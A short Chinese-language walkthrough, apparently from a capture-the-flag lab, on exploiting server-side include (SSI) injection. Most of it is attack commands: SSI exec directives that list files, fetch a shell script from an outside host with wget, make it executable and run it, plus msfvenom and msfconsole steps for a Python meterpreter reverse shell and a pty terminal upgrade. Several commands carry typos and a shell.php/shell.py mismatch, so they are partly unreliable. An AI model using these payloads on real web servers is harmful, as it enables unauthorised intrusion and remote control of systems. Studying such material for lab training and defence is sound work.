SSI注入攻击介绍
- SSl(server side inject)的出现是为了赋予html静态页面动态的效果,通过ssi来执行系统命令,并返回对应的结果。
- 如果在网站目录中发现了.stm,.shtm .shtml,并且网站对于ssL的输入没有做到严格过滤,很有可能被ssl注入攻击。
注入步骤
信息探测。
- 发现开放HTTP服务,打开网页查找敏感文件,发现疑似存在命令注入漏洞
漏洞利用;
根据提示来利用对应sSL注入漏洞
- 列举当前目录中的文件和目录:<!--#exec cmd="Is" –>
- 切换到指定目录:<!--#exec cmd="cd /root/dirl">
- 下载shel脚本并重命名为shell.php:<!--#exec cmd="wget http://ip/shell.txt | rename shell.txt shell.php"—>
- 给shell赋予可执行权限::<!—#EXEC cmd="chmod 777 shell.py"—>
- 运行shell.py:<!—#EXEC cmd="python shell.py"—>
制作WEBSHELL:
- php的SHELL:
- python的shell
- 生成:msfvenom –p python/meterpreter/reverse_tcp lhost=本地IP lport=4444 -f raw > /root/Desktop/shell.py
- 启动监听:
- 打开msfconsole
- use exploit/multi/handler
- set payload python/meterpreter/reverse_tcp
- show options
- set lhost 本地IP
- run
开启HTTP服务器:
- 移动shell.py到Apache的根目录下:mv shell.py /var/www/html
- 开启Apache :service apache2 start
- 查看开启状态:service apache2 status
执行2.1-根据提示来利用对应sSL注入漏洞,注入并执行shell,获得shell反弹
执行操作
- sysinfo查看系统信息
- shell进入系统shell
- 优化终端python -c'import pty;pty.spawn( "/bin/bash”)'
总结:
- 当发现.stm,.shtm .shtml就要想到是否存在ssi注入漏洞,发现漏洞,找网站可以输入的地方,制作shell,启动msf的监听,通过网站可输入地方进行执行cmd命令,执行shell,获得反弹,测试执行,python优化终端显示,进入根目录,查看flag